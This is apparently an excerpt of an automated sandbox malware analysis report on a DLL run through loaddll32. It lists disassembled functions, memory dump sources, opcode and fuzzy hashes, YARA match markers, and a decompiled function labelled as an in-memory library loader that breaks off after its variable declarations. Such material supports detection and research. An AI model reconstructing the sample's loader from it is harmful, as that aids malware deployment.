Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71756ab46612cc4d9770d0cbef3ce2005d82e3beeea880c1926e22e75f9013b4
Instruction ID: 620679d04d9eed27ac1eea9af16fe8e909c4201b2bc0bf7663660920aedb491d
Opcode Fuzzy Hash: 71756ab46612cc4d9770d0cbef3ce2005d82e3beeea880c1926e22e75f9013b4
Instruction Fuzzy Hash: 2341DFB5804619AFDB10DFA9CC88AEABBBCAF45744F1446D9E40CE3200DB359E819F60

Uniqueness

Uniqueness Score: -1.00%

Function 6EDB0F10, Relevance: 1.6, Strings: 1, Instructions: 365COMMON

Download Yara Rule

Strings

UNC\, xrefs: 6EDB1143

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID:
String ID: UNC\
API String ID: 0-505053535
Opcode ID: 62539ca6c9a94c5b71611f097b55ca5855b60dce3314ebc75139b12c1548312f
Instruction ID: f701eb9240f75507b64fe196a5655fdc32b63e3404d3f51a37af3e181ae38c8c
Opcode Fuzzy Hash: 62539ca6c9a94c5b71611f097b55ca5855b60dce3314ebc75139b12c1548312f
Instruction Fuzzy Hash: 73D102B1608706CFC310CFA9C5C165AB7E2AB89354F608758D4EA8B399F631DD4ECB81

Uniqueness

Uniqueness Score: -1.00%

Function 007A39C3, Relevance: 1.5, Strings: 1, Instructions: 231COMMON

Download Yara Rule

Strings

^5}, xrefs: 007A3A59

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: ^5}
API String ID: 0-367400351
Opcode ID: 38a809a8b450b6968cf4d6c7bc8382d50feee64ce3eba230915a2a0af16f777a
Instruction ID: a0bcb19ff838f8805a13e94b405c324f150e17ee94a49eccd8f870a701cd897f
Opcode Fuzzy Hash: 38a809a8b450b6968cf4d6c7bc8382d50feee64ce3eba230915a2a0af16f777a
Instruction Fuzzy Hash: ADA18A71608340DBC768DF24C49956FBBE2FFD5718F500A2DF68A96260C7798A48CB93

Uniqueness

Uniqueness Score: -1.00%

Function 007A8D59, Relevance: 1.4, Strings: 1, Instructions: 191COMMON

Download Yara Rule

Strings

Rz, xrefs: 007A8E1F

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: Rz
API String ID: 0-2038740235
Opcode ID: d35432fddf2ab32e469d83e102c5626801702ac5d0736d3010b97b13bfb240d1
Instruction ID: fee3eb1a3bd82368537e172f73f79e1f51c28b2970e4d938dc925587bb202b53
Opcode Fuzzy Hash: d35432fddf2ab32e469d83e102c5626801702ac5d0736d3010b97b13bfb240d1
Instruction Fuzzy Hash: 93912DB20093819FC798DF26C58941BFBE1FBD5748F108A1DF29696260D7B58A09CF87

Uniqueness

Uniqueness Score: -1.00%

Function 007A33A9, Relevance: 1.4, Strings: 1, Instructions: 170COMMON

Download Yara Rule

Strings

&-, xrefs: 007A3483

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: &-
API String ID: 0-1647332301
Opcode ID: 4d2deef9be7e04ea9f3b73eae9c91ab143219aea3095dfb770c0012180a91872
Instruction ID: 8dfef549e6875d24cb35f2e0bf187591443e744c3449b69c55d88c8a0e9bdd83
Opcode Fuzzy Hash: 4d2deef9be7e04ea9f3b73eae9c91ab143219aea3095dfb770c0012180a91872
Instruction Fuzzy Hash: 547154704083419BC768CF64C48A55FBFE1BBC6398F504A1DF1D656260D3B9CA49CF92

Uniqueness

Uniqueness Score: -1.00%

Function 007A7D87, Relevance: 1.4, Strings: 1, Instructions: 140COMMON

Download Yara Rule

Strings

]1, xrefs: 007A7DE5

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: ]1
API String ID: 0-3136993215
Opcode ID: d7e4a39e9e5c26ff6825bbd63b05b5f75ece3416f93472cf8e37b08cdd133fa2
Instruction ID: 88ac5140a030794bd8870c6cf87121be41215dcbbd6c487fcaa36ab4f377dda1
Opcode Fuzzy Hash: d7e4a39e9e5c26ff6825bbd63b05b5f75ece3416f93472cf8e37b08cdd133fa2
Instruction Fuzzy Hash: C951643210D341AFC758CF65C98A81BBBE5FBD5758F404A0DF59292260C7B5CA49CF82

Uniqueness

Uniqueness Score: -1.00%

Function 007A4F42, Relevance: 1.4, Strings: 1, Instructions: 118COMMON

Download Yara Rule

Strings

B;}, xrefs: 007A4FA4

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: B;}
API String ID: 0-3368358345
Opcode ID: 0fa546772be7c659c6884c2c76a08cd17f7c29e0e7cce72e0a053241b5b16c81
Instruction ID: c4e637a651b50f5b5193558aaa1852a978c145a145a0f21afd914e5e2c9f1bf4
Opcode Fuzzy Hash: 0fa546772be7c659c6884c2c76a08cd17f7c29e0e7cce72e0a053241b5b16c81
Instruction Fuzzy Hash: F65103B11083459FC759CF26C98A82BBFE1FBC9748F544A0CF59656220D3B58A19CF87

Uniqueness

Uniqueness Score: -1.00%

Function 007A635F, Relevance: 1.4, Strings: 1, Instructions: 111COMMON

Download Yara Rule

Strings

N, xrefs: 007A6401

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: N
API String ID: 0-3948818596
Opcode ID: 36e90f4d2d8bce284f2561ecaf7bab2ddf48de27cfd66f72c3a763bc84aa1489
Instruction ID: 23b9bb61b3a0c4a3506f870354b2708f16de9ffdb4fba4a740774616f9b44377
Opcode Fuzzy Hash: 36e90f4d2d8bce284f2561ecaf7bab2ddf48de27cfd66f72c3a763bc84aa1489
Instruction Fuzzy Hash: 3641B8715083818BC758CE25D59942FBBE1FBD9748F144A2EF59662260D3B88A09CF83

Uniqueness

Uniqueness Score: -1.00%

Function 007AF699, Relevance: 1.4, Strings: 1, Instructions: 104COMMON

Download Yara Rule

Strings

C|, xrefs: 007AF7A4

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: C|
API String ID: 0-2444742693
Opcode ID: ed0f62a632d906fb3c43c3fe32992958e3bbf5cf354087c936e85217c67f69d2
Instruction ID: 0a361cbe4498159b01ca8e19215fea0e58393b658478e4d10734cdba6b7f201f
Opcode Fuzzy Hash: ed0f62a632d906fb3c43c3fe32992958e3bbf5cf354087c936e85217c67f69d2
Instruction Fuzzy Hash: 8641E271E01208EBCF08CFA5C98A9DEBFB6EB84314F20C09AE015AB250D7B55B55DF50

Uniqueness

Uniqueness Score: -1.00%

Function 007ADD66, Relevance: 1.3, Strings: 1, Instructions: 92COMMON

Download Yara Rule

Strings

CCP, xrefs: 007ADDC8

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: CCP
API String ID: 0-1034069945
Opcode ID: 3e59c4399d6a2cb82ee090332a18dd5b708fd5e2eadda935f09b0a5565451fd9
Instruction ID: 0528059f6648108a3ac92285ee14c0f7b8e94882fc3d2e0e631e523f65c2c611
Opcode Fuzzy Hash: 3e59c4399d6a2cb82ee090332a18dd5b708fd5e2eadda935f09b0a5565451fd9
Instruction Fuzzy Hash: 2041F2B2C0031DABCF65DFE1C94A4EEBBB4FB14304F108298D511B6220E3B81A45DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 007A54C0, Relevance: 1.3, Strings: 1, Instructions: 84COMMON

Download Yara Rule

Strings

2+]X, xrefs: 007A54F8

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: 2+]X
API String ID: 0-635157736
Opcode ID: 481d722715983e272cc469dc43216b96c655eaa670e4ddf9da5fb0d9274d257e
Instruction ID: 4bd148beb9a71cbb8299a71cff08cf2a59e90cc71a177b63219bf6942227118a
Opcode Fuzzy Hash: 481d722715983e272cc469dc43216b96c655eaa670e4ddf9da5fb0d9274d257e
Instruction Fuzzy Hash: 50318A72A293519FC314CF28848595AFBE0EFD8714F454B2DE885A7242D774EA09CB92

Uniqueness

Uniqueness Score: -1.00%

Function 007B8518, Relevance: 1.3, Strings: 1, Instructions: 82COMMON

Download Yara Rule

Strings

g, xrefs: 007B853E

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: g
API String ID: 0-1037297435
Opcode ID: 12f60b9f080022c690087f5a0feae30e1c4340ffe80795349f84256cb1c1a91f
Instruction ID: 2691b771b0e783578f69bfc629f413870268e0e6c3448db6d33f5274df1e285c
Opcode Fuzzy Hash: 12f60b9f080022c690087f5a0feae30e1c4340ffe80795349f84256cb1c1a91f
Instruction Fuzzy Hash: 2121A0726083008FC764DE2AD88165BB7EAEFC8714F048A2DF499D3254DBB4D905CB42

Uniqueness

Uniqueness Score: -1.00%

Function 007B0824, Relevance: 1.3, Strings: 1, Instructions: 77COMMON

Download Yara Rule

Strings

:O, xrefs: 007B0910

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: :O
API String ID: 0-2599941514
Opcode ID: 1f7edd328e28f6af2a72c4d4d6a5b36b3881e85017b5a27d0145efcadb109785
Instruction ID: 9e6d5674c3879c8c519db454b6d9577536c5cdbbb73d2f7857737f2cbd2cbbc0
Opcode Fuzzy Hash: 1f7edd328e28f6af2a72c4d4d6a5b36b3881e85017b5a27d0145efcadb109785
Instruction Fuzzy Hash: B041F2B580035AEBCF04CFA5DA0A8DEBBB1FF54318F108548E925A6210D3B59765DF90

Uniqueness

Uniqueness Score: -1.00%

Function 007C314A, Relevance: 1.3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

Strings

BGd, xrefs: 007C31BE

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: BGd
API String ID: 0-2042166335
Opcode ID: a72e445dec8ea7b5338fe7369db8ed5e1fb3125761641ecec233543bdc38b076
Instruction ID: fe52ee5f1b1daa0a7f88333563228d73c027a3aa2ed7d09e24ceca4c1d115a95
Opcode Fuzzy Hash: a72e445dec8ea7b5338fe7369db8ed5e1fb3125761641ecec233543bdc38b076
Instruction Fuzzy Hash: 4B211FB6D0020EEBCF14CFA5DA4A8EEFBB5EB44304F248199D921B6260D3B44B05CF90

Uniqueness

Uniqueness Score: -1.00%

Function 007AF20D, Relevance: 1.3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

Strings

PGX, xrefs: 007AF2D8

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: PGX
API String ID: 0-1232467878
Opcode ID: 8797580442d40be6ee5a96e9c4cc1420146e6e0eb2747786e14044119fcefc07
Instruction ID: 94ee6bab4206c68fc4c329bcddd42e1634525ae0a4359b2584171686c7f81efd
Opcode Fuzzy Hash: 8797580442d40be6ee5a96e9c4cc1420146e6e0eb2747786e14044119fcefc07
Instruction Fuzzy Hash: 8331CFB1D0120EEBCB08DFE1D54A4AEFBB1BB40308F208198D122B6260D7B95B59DF94

Uniqueness

Uniqueness Score: -1.00%

Function 6EDA38C0, Relevance: .5, Instructions: 489COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fc0da44e446dc341c96866e9c81a2d3a40892b39ea85955a8b156c54f99ea3c
Instruction ID: 38eecd62ecdd16f63340d7b34fc1025b6569681ed508de22bdd63aed88f6a310
Opcode Fuzzy Hash: 5fc0da44e446dc341c96866e9c81a2d3a40892b39ea85955a8b156c54f99ea3c
Instruction Fuzzy Hash: AA02E071A187158FD315DFADC48422EF3E2AFDA340F51C72EE985A7250E770EA868781

Uniqueness

Uniqueness Score: -1.00%

Function 007A6125, Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ccf973758c29aacbbfb2c88101b5c0d1ab25e078d3195f797059a5eefdcc3ab
Instruction ID: cad6be191e9ae8f228eaa9ae2a7db400e80a8c03ca5849494d444bfd866d2838
Opcode Fuzzy Hash: 5ccf973758c29aacbbfb2c88101b5c0d1ab25e078d3195f797059a5eefdcc3ab
Instruction Fuzzy Hash: 936131B1D00209EBCF08CFA5D98A9EEFBB2FB58314F208159E511B6260D7B52A55CF54

Uniqueness

Uniqueness Score: -1.00%

Function 007C2560, Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c27470c79ad73ccb5f55289d0ed3a651ff421185eb5969a21ce754adb2516a2
Instruction ID: 756dbf73e73a6334d80a418996b6308bd350949005ac788e4c7f825d705ac7da
Opcode Fuzzy Hash: 4c27470c79ad73ccb5f55289d0ed3a651ff421185eb5969a21ce754adb2516a2
Instruction Fuzzy Hash: 5D4157716083019FC718DE21D98691BBBE1FBC8748F10891DF586A6221D775CA1A8F93

Uniqueness

Uniqueness Score: -1.00%

Function 007A5166, Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21002f264c62bce16f5ac34a03004dd7049d14a6190fe4b5b171dbdeb7d51693
Instruction ID: 6418be1affdfacd04d375b5370f99353516fef7b65e5db844a7df9968ea15b0a
Opcode Fuzzy Hash: 21002f264c62bce16f5ac34a03004dd7049d14a6190fe4b5b171dbdeb7d51693
Instruction Fuzzy Hash: BE418EB1608341CBCB58CF64D99992FBBE1FBC5748F100A2DF186562A1D779CA48CB83

Uniqueness

Uniqueness Score: -1.00%

Function 007BE478, Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62ab12a5c1461a32f5a8ea1cbf4c6ec33fc28f1ed6bb483b06b937df58032f48
Instruction ID: fd2b0d02dec47a3971ab62b194780b0658495cad9da431ec7f83ec5bb143327a
Opcode Fuzzy Hash: 62ab12a5c1461a32f5a8ea1cbf4c6ec33fc28f1ed6bb483b06b937df58032f48
Instruction Fuzzy Hash: 8041F1B1C00219ABCF45DFE4C98A8EEBBB5FF48308F508548E521B6210D3B94A45DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 007C0AD3, Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49e848d9c6b67677fafb526c596923f40c93afa7d7e2a42ad7033b1c7560134e
Instruction ID: 9de8e372b034809bcfa176ddfef6c06ef720593f838e96ec7174fe49347bc158
Opcode Fuzzy Hash: 49e848d9c6b67677fafb526c596923f40c93afa7d7e2a42ad7033b1c7560134e
Instruction Fuzzy Hash: E731AB72A083119FC350DF29C48466AF7E0EF88314F814A2DF89A97250E7B4E909CB92

Uniqueness

Uniqueness Score: -1.00%

Function 007AF4A5, Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f4028821203e7a4821a9d084ddcb2c6366e46ec1803d0109d60b5fac38ce6b4
Instruction ID: a7393da3969e1958278280f4cf7de3c1f5d8b8cc4b3e8aca995446550d8a1e75
Opcode Fuzzy Hash: 9f4028821203e7a4821a9d084ddcb2c6366e46ec1803d0109d60b5fac38ce6b4
Instruction Fuzzy Hash: 8A312271D0121AEFDB08CFE1C94AAEEBBB1FB40704F108169D511AB250D7B95A55CF90

Uniqueness

Uniqueness Score: -1.00%

Function 007AF984, Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1ff426e79746ad319983153294732274ee39d0f6843496e681fd78a0ea1dbe7
Instruction ID: f0bbc9d12ccaedf644b6335ac34809eaa5ff6250e6b698076ec86b33a89279c2
Opcode Fuzzy Hash: f1ff426e79746ad319983153294732274ee39d0f6843496e681fd78a0ea1dbe7
Instruction Fuzzy Hash: 0131F6B290020CEFEB04DFA9D989CEFBBB9EB48318F018159F918A6250D3759E159F50

Uniqueness

Uniqueness Score: -1.00%

Function 007A938F, Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41fb78f267175e101537b1da63eb1f95f6ffa96ed1ea6f3c6d98e9dded9ba910
Instruction ID: d331381762ea586ee1f829e4382234654aa943a9e5f416849a81e8e472a6048f
Opcode Fuzzy Hash: 41fb78f267175e101537b1da63eb1f95f6ffa96ed1ea6f3c6d98e9dded9ba910
Instruction Fuzzy Hash: 8931D332900209FBDF059EA5CC068DEBFB6FF49310F108589FA2566160D3768A61DB50

Uniqueness

Uniqueness Score: -1.00%

Function 007C2C16, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ee398f73e3bd3737d3a0f46f012eb34d36fe675d243cd443379ab18b292edab
Instruction ID: 9c30c2ce136e7ac6b41febd209a016d2d2e0c23753f2117db0000ef292d99549
Opcode Fuzzy Hash: 8ee398f73e3bd3737d3a0f46f012eb34d36fe675d243cd443379ab18b292edab
Instruction Fuzzy Hash: 3631F1B1D0130EEBCB48CFA5DA4A8EEBBB1EB44314F208199D511B6260D3B55B55CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 007AE259, Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f306290c89833e0bc14cfd63dcada7925a641137887b04603cec1842d07f268
Instruction ID: 3adb153c91e935fb9e2c344a3c7e7d0f1be0d7fc346db738456dadf49659aceb
Opcode Fuzzy Hash: 5f306290c89833e0bc14cfd63dcada7925a641137887b04603cec1842d07f268
Instruction Fuzzy Hash: 7B2119B1D0020CBFDB14DFE5C88A8EEBBB9FB48358F108198E51466250D3B99A559B91

Uniqueness

Uniqueness Score: -1.00%

Function 007A5314, Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 137f8063ab8a4e6c48daa6564079e0f37c3fb48828de76ab16e4e7a031f92ad0
Instruction ID: b09339c7f6d25738f9a8870cc0109c1de1b02b2c498bd637ad56a2ec8f1f1d56
Opcode Fuzzy Hash: 137f8063ab8a4e6c48daa6564079e0f37c3fb48828de76ab16e4e7a031f92ad0
Instruction Fuzzy Hash: 6521E3B1D1020DEBDB18CFE5D54A5AEBBF0BB10718F208189E514A6240D7B85B08CF54

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBBFE0, Relevance: .0, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca7688f6d1dedccb8e131d510b0f2375fab0593e96e15d13ff37aef2242981b6
Instruction ID: da1eabe15a320475f88491884b8d5c86e38c9c2d903f13e2b3d64c35c79b1897
Opcode Fuzzy Hash: ca7688f6d1dedccb8e131d510b0f2375fab0593e96e15d13ff37aef2242981b6
Instruction Fuzzy Hash: BD0169B1711201CFD758CF68C4A0F29B3E2FF89688F9544A9D4138F759EB31E800CA40

Uniqueness

Uniqueness Score: -1.00%

Function 6EDC298C, Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6eb6665ddb3350983e42d1cbc670fa1f7b7e34ee61cedf1b9ad9aa5777005a93
Instruction ID: d50594e72a4196ed824eb9601f0cece42556ff3f7adad9f6cf31358e3ce5abec
Opcode Fuzzy Hash: 6eb6665ddb3350983e42d1cbc670fa1f7b7e34ee61cedf1b9ad9aa5777005a93
Instruction Fuzzy Hash: 65E08C32911638EBCB21CBC8C90098AB3ECEB49F84B610896F901E3200C6B0DE00C7D2

Uniqueness

Uniqueness Score: -1.00%

Function 6EDC12CB, Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8280ca142bc1b3d81a1ec9e0318d957c7d25c74bfd8627c95e038b2adada9f26
Instruction ID: 13f3b6b0fa11ef535d291ad1f9a17158664d600c838fe4c10ee8e0eb8290c2bb
Opcode Fuzzy Hash: 8280ca142bc1b3d81a1ec9e0318d957c7d25c74bfd8627c95e038b2adada9f26
Instruction Fuzzy Hash: 2FC08C38040A1086CE098BD083723A4B37CFB86FC7F80188CC8028B741CA1ED88BD613

Uniqueness

Uniqueness Score: -1.00%

Function 007B4315, Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
Instruction ID: 25aae2582423029eb19f4489c776d3d70638aac6ce1da4afce0c8a8e650509f3
Opcode Fuzzy Hash: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 6EDADD30, Relevance: 42.5, APIs: 19, Strings: 5, Instructions: 451
memorylibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E6EDADD30(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, long _a8) {
				void* _v16;
				char _v1456;
				void* __ebp;
				void _t191;
				void* _t194;
				long _t195;
				signed int _t200;
				void* _t201;
				void* _t204;
				void* _t205;
				long _t206;
				char _t208;
				void* _t217;
				void* _t218;
				void* _t221;
				void* _t227;
				void* _t229;
				void* _t233;
				void* _t235;
				void* _t241;
				void* _t243;
				void* _t244;
				void* _t246;
				void* _t250;
				void* _t252;
				long _t260;
				long _t262;
				void* _t263;
				void* _t264;
				char _t265;
				void* _t267;
				void* _t274;
				void* _t284;
				void* _t288;
				long _t291;
				WCHAR* _t293;
				void* _t294;
